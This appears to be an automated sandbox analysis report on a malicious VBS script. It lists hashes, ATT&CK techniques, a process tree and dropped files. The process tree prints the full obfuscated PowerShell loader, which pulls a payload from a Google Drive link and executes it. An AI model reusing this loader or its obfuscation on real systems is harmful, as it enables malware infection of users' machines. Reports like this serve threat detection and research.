be6861141aae063bbfe9ff385fdedcbb383b07cbacc2c61bb558a46e0f06bb58

General

Target

be6861141aae063bbfe9ff385fdedcbb383b07cbacc2c61bb558a46e0f06bb58.vbs
Size

361KB
MD5

ae55f99323808b2185d1b56d56f6305b
SHA1

d043a31f2a1c72cccc49f932f4c41abec7bf003d
SHA256

be6861141aae063bbfe9ff385fdedcbb383b07cbacc2c61bb558a46e0f06bb58
SHA512

21c6b411b4c14c9d02e58494a47a21aadd61f8ca370f4d90a58c9d4049204e1501d4d94913ed61d69489bb5339e3f11a399b93b987a28046fd3fde74c72447ec
SSDEEP

6144:xwKLaVfs2VTA05zBWJKJqDv9WlmDg6bMiaNb3rczF9V4I5Btg/zRoFTC4vSUUkPe:u7InOiRxIl5x

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	1952	WScript.exe
12	3684	powershell.exe
15	3684	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
11	drive.google.com
12	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3684	powershell.exe
3684	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3684	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1952 wrote to memory of 3684	1952	WScript.exe	83
PID 1952 wrote to memory of 3684	1952	WScript.exe	83
PID 3684 wrote to memory of 3320	3684	powershell.exe	85
PID 3684 wrote to memory of 3320	3684	powershell.exe	85

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\be6861141aae063bbfe9ff385fdedcbb383b07cbacc2c61bb558a46e0f06bb58.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Sansebedragets = 1;$Ghanesisk='Substrin';$Ghanesisk+='g';Function Gasterosteus($svinkerinde){$overbuild=$svinkerinde.Length-$Sansebedragets;For($Stereoradioen=7; $Stereoradioen -lt $overbuild; $Stereoradioen+=(8)){$Diffusionslinsers+=$svinkerinde.$Ghanesisk.Invoke($Stereoradioen, $Sansebedragets);}$Diffusionslinsers;}function Traeet($Wrizzled){& ($Thyges) ($Wrizzled);}$Smuldet=Gasterosteus 'Unr imbMstedmoroOplysnizdefinitiUnr.bbelIlan brlForbrusa Fremtt/Sundede5 Recurr.Kumenis0 vade t Fejlstr(RewedsuW PistiliAdularenl.ntiskdCleithroDyrkninw PhilolsLymphad Fores Nunpla.aTCurricu pongobl1sa,leld0Tsninge.Tugboat0Uns len; Plural Nyrens,WStt.masi yldresnHaemoth6Pupifor4Fyrstes;Lickert GaiterlxKommand6Selvher4 Pillet;grevers UnmumblrTrafikdvFollcus:Forplig1Israeli2Dif,ere1 Hankel.Undvrli0Udholde) Misc a F amencGSafeguaeInterb.cStorm tkCivilisoG.ntlem/ ackfli2.djutan0B.fingr1retinke0 Chorea0Tragica1.ftegni0Reexcav1Negroid GlaucolFbankledi reptilr EphemeeSalon.nfSlidse.oN.sleabxConnara/Fondsd,1Lygtema2L,kedri1Trstern.Svindsc0Afnakke ';$Indhfte253=Gasterosteus 'upontolU TassarsPansideeOxygenir Afrust-MedeospA.ksekutginexecueG vernmnAlveolat farina ';$Abnerval=Gasterosteus 'Layouteh .mbudst BaakertOccipitpBenedics inageg:Ureter,/Fosse,t/Morrissd Vickisr NonimpiB ldricvUnpoigneKo pera.g,eskabgRosentrogroundloArchspigScollo lSidega,emor,enp.EarthlicIntroduo SpadesmPenetra/Bortlbnu FlyveccIstemek?R,petiteShooingxNon.estpOv.rskuome,termrJugerentpretr.r=FluoryldHendersoOologiewMinisc nMedb,jllUhensigoR tgenbaRasterbd Spille&CuculariAbeyancdS evene=Ugrian 1BlomdecKVarmefrcRivetndZNedgrav9PentatrX DomorgGRabbiniBE,yptolrMishmibBMonoga 4stil.noR ,itadecBituminn Cor macPreexpeXVandcykC aintisCYalelaabIndbrndpCriticibdigitalm FrimndyBassistbdelomraLDerindaKOppriorv A,raabb MartinRFlingenyEma.cidBTo,itruwprenebuBTweetph ';$grcisering=Gasterosteus 'Milli,n>Hurl.le ';$Thyges=Gasterosteus 'IndervgiUrte eee CuyastxKnivafb ';$Brummekorenes = Gasterosteus 'Helsstee RavishcUnravishCalapp oHazanpy Inkwood%DornockaEatsuncpAlanintpRefor.adBoxbushaIllimittMiddelbaGaldest% R,barb\ AntistEChemisecOrganistdybels.r UlderaoantescrdPennigeaGejledecOpdatert non.etyKen sgelErklaeri Ko ogesredaktimInte.ra.FaneblaMChoripeiLedenesc ltrace Helfred& F.jlst&Supplem SamplereP.ritidcSupponwhDkningsoRepursu Fusib.y$ Begrib ';Traeet (Gasterosteus 'Harpesk$FlaglesgskovfollAfgrsnioLeiotrib SuperiaRallyislAn idep:ReinaldlArmekoryReprovemrr.angep Coelhoh Hyp,caoCoalbi,sForsknitRaph,epaCelle ysVa,ideri RivetesNdplans=Modtrks(KommerccUdt knim .orceldTilvkst Termofl/ bro,erchomeoch Bromids$.eregniBgnideb.rC oonesuKapitalmForestamVirksomebretw.lkSeptikto Thre drObservaeSmilacenUnconsieTppebans Afgift)Add.tam ');Traeet (Gasterosteus 'Gr,ndpr$ StenesgUngrayel MetodeopumaernbSte.epaaBlitzlal ,ncage:TabtypeaSpo.tenaChoristbTrontaleagelaiunBestridtMagnetivSvagfrhaEfterslnOtherdodS anonas I.dtrnbunmani y Faaers= Unblig$KommateA Skrdd bKontaktn LigesteSimioidrOsierlivOmbygniaBlokkryl Oldtid. DramamsBerigtip FremmelSubstitiPasseret Unsuff(Kr,emme$SlutspugOs illar UnderscWhisperiSlattersCe.terpendskrigrSen imei Brady n.usannegCamperi)Sadomas ');$Abnerval=$aabentvandsby[0];Traeet (Gasterosteus ' Postgi$Tingsvigretspril Outg,ooBattuecbfemalita HjaltelOverfor: GorgonOB dgetdu IsogentGstel.elRegnesteServiceaVedlgger.taxononcradl,r= efljnNbimpe.eeVikin,ewAfgifts-CannaceO bisquebIdeograjWienerne.orexgrcHud,esatSv.ngla .espectSFaktureyeftervesTwelftht.nalopoeHerniasmBarbe s. Sulk nN Slu nieBromidetYantra,.NeodymiW CompareSchuftebDodge sC fl,raalKarvgsfiHorsehaeC.estfinKdereaktGrovfod ');Traeet (Gasterosteus 'Tubife.$ SnableOBetonhouKnoglemtHaughtilKattepoeTro,seraUkollegrSankthanstyrtf .SemipenHSammenfeskeptika Incarcd Straale Rut,nerUnbothesAzy obr[Glasuld$tinglysIBogkrybnKronik dhamirosh,udiblefPraktictAyesbruetolvton2Stormag5Acrylic3 Divisi]arbejds=Afgifts$EnlargeSEfflresmKrmmereuDiskrimlPartikudYou.care Pant atForrang ');$Freen=Gasterosteus 'Nbcbor,OGenlivmuMult chtBirummelEnkeltpehypnoseaBordherrLeptothnFestmid.Syn.tigD,urifexoAfgrsniwmod.stenAfgr lslKommandoOutbleaaServiced Metho FRe ikteiIllusibl DetaileSliphal(Citrons$Pro ogrAMi.setsbU.dtogtnShovel.eInflexirFold oav MaltesaSp,rtstlfar eta, aramba$Man icaPOpserveaFlere.alHandskelDedesnoeSammenhdKom.andeDissona)Cibaria ';$Freen=$lymphostasis[1]+$Freen;$Pallede=$lymphostasis[0];Traeet (Gasterosteus ' uckibu$ SumenhgJordvrdlVid.obroAfkryd,b LuftvraIstandslOct.hed: CodeveT orlagoBuckerotDete,miaAm.nodilTarerins Te.msty BarrabsNailysttStraahaeSh malsmStrafraeOdourlerSepticinSnavsete Pundit= Hoflev(MedaljeT AfkorteSu.erads NaturitMargar.-Withi vP ummepa KamceetLacqueyhPostall Mondner$WhitepoP U.schianucleuslTientsil OutwiseMegametdDehydreeUa.lade)Chymeud ');while (!$Totalsystemerne) {Traeet (Gasterosteus 'slagord$gnis,spgTaljerilTracfn,oLuciliab,olygona addleslBlaatry:Doks.niU BornhonPrci,errDel,gereAliptteaEmersedsBuzzgloo DepresnGumf.eleIndfreldZonule 1D.centr4Apodema6Roleofo=Affdtem$TokronetUncupperCo.lbaguBdetakseBiogeog ') ;Traeet $Freen;Traeet (Gasterosteus 'Fac nglSAskepottSidelinaorkanerrR,refactLumbr c- GammelS Boutell SinapieMyst,queDogg.elpBorgme Afte wo4Church ');Traeet (Gasterosteus 'Breeche$ Aeromagtap.ehalSkeltonoTuxesflbWirelesaAfficerlNoncred:Ch.roptT HepatioMindelutDelikataB,idleslByna,nes efineyla.hemas ferritt Offsetevilia.smForkueleChlorinr,xsiccanSadomaseCor gen=Unsplit(GrammatTGavlhuseLachrymsDowntowtCounter-NaverboPM.ljbesaVelsesltProroguh Tokom Tidsvrd$ Aspir,PStamhusaAmbassalOplevedlVievan,e AmagerdIncisioeSlumres)missive ') ;Traeet (Gasterosteus ' Overes$udaan,igPantomel Memb,aoTandclabFehaareaR,nownelHaandev:stdtropAMegalerpNonesuceBalladrrC,emmint Perisp2 freu i1Palaeo,1Sa mens=Sexforb$Bissekrg Undem l Cymousoseem.rsbResteriaSamlevelOlefian: ArlasfEUnremitv,aggersaRolle.alProtot dPhelonisCharact+Nonprol+Masses,%Himatio$St.nhugaNo,connaK,nmiutbSnitta.ekoenindn,grestit TorsdavPrisindaValdemanRecivildPrsenspsVokskabbPolygamy Sygeb,..aiadalcTtysvrtosemiferuUde aernFdrelantTourtmi ') ;$Abnerval=$aabentvandsby[$Apert211];}Traeet (Gasterosteus 'Neopla,$ Magn.tgmyr,ngelCitizenoSpr grebfodermia Tulsiel Stedmo:.ammenhEmandor,nTryforfcSmuglero Sp ashm ,arfleiEpitafieMisquotn Una,cedRoseudtaraamatesImpecu. Flakker=Besudle FjerdepGColona.e UratomtNedprio-e,silerC ,ortrioVandtryn Brynj.tOverbakeTwentymnGes,urat Torl.i Sinecur$RvetapaPumyndigaKunosgrlInfrahyl .retrce Flu.sydAppretee Compar ');Traeet (Gasterosteus 'Kompagn$AconuregFreskomlMistendoMyzo,tobdanburya goni.slLaps.on:KelingyPPreorgaobrainstdInd lytaHakkebrl BocheriShinilyc Doohin malkema= Secern Defen,a[DhoorasSDisembaykvidistsBypla ltVitrioleDecubitmNon.las.Dineu,rCgennemkoTrallern oreimpvGafledeeStyrep.rteltslatUnrecko] Infide: Belysn:AltsaxoFStikflarKise.hooUnindusmH,matomBWhirrooa BnkerasUnsymmee,ncredi6Immorti4Pulvil,SFjendtltOutdater Bone riPelsdyrnPree ptgMilieuo( Stetho$advarseETidsprinRappen.cformedeoHyllep.mStoma hiSuperineFamilien.rupprpd antrusaWinds.rsSad.elt)Pulpitl ');Traeet (Gasterosteus 'Varmefy$IndlandgVirialslte minooTar iesb Underga A,onnelHumo.ri: KanalvSChilenst Skansei StargrkGeda keo Okays rAbnormidJollit e,drenaltVivanstsInforma Uncle,r=Dentipa Compl.[UnpreteS vaabenyTennisfsKnivsmetNap leoe andhanmMiljomr.Beli.geTInquilieTr.mperxIndigentlawsone. F.lderELex,caunBerigtic MonadioBiscuitdHarmoneiPratiqunHemmelig Over r]Partrid:A poggi:UenigerAUgideliSOpd.terCSrverskIChe.kinIEfter,d. SalariGtilsagde TangletDekuperSMedik.mt Needsmr LukreriAllemannTr.nsligInd sia(Mattere$FikseacPBeskudtoAbstrakdSphaeriaFderal.lGett bli Surficckampvog)Dialakt ');Traeet (Gasterosteus 'anticig$B.mareagHyleriel Fr.trdoBhut.vibfortjenaSlievovlRidotto:AffdejaOUnderslvLineniseShuntv.rU midigmDehor so Teks,prStrobosaAdin tylsekun ai TwistesCuckoldtKern.daiRund,ngcSpndesk=Krabb.n$SmmestiSVekselvtTheophiioverspakMirsasbohenholdrC,mpedrdse ianieforlb ttCentra.sUdlodre.Ondskabsgespensu Ri,efobBinomiasPharyngtP,oevekrMiljak,iHengavnnVlgernegDriftsb(Geratyt3Cl,bfis2Kardina8P,intke2 Para f1 Enspnd2U.licen,,jforrd3Slagteb0Omni,oq1Omsta,n4Uninocu7Antipy )Gelatin ');Traeet $Overmoralistic;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3684
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ectrodactylism.Mic && echo $"
    3⤵
    PID:3320

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0xrmpeli.jtz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\unrenouncing.txt

Filesize
7KB

MD5
fbb578f8128ac6d7843b0a28cd1d1fe2

SHA1
64129cd6657c88413cf2ce62ff4ebdf9e106e9ab

SHA256
7cfc23d47e625cffa90afbb28ac41a64cb18889330c432590479621358ac0fbb

SHA512
991a0f2bcbee1b114a3473e3958a7193d4d1be65d98b7a42fb08d4a846faec47ac557ab9183cb101a08085a461c0b50e972fffe2cf6ab4cf8877fbf8f399c81b

Download Submit
memory/3684-315-0x00007FFACAE00000-0x00007FFACB8C1000-memory.dmp

Filesize
10.8MB

Download
memory/3684-306-0x0000023DD51F0000-0x0000023DD5212000-memory.dmp

Filesize
136KB

Download
memory/3684-316-0x0000023DED8D0000-0x0000023DED8E0000-memory.dmp

Filesize
64KB

Download
memory/3684-317-0x0000023DED8D0000-0x0000023DED8E0000-memory.dmp

Filesize
64KB

Download
memory/3684-320-0x0000023DED8D0000-0x0000023DED8E0000-memory.dmp

Filesize
64KB

Download
memory/3684-323-0x00007FFACAE00000-0x00007FFACB8C1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing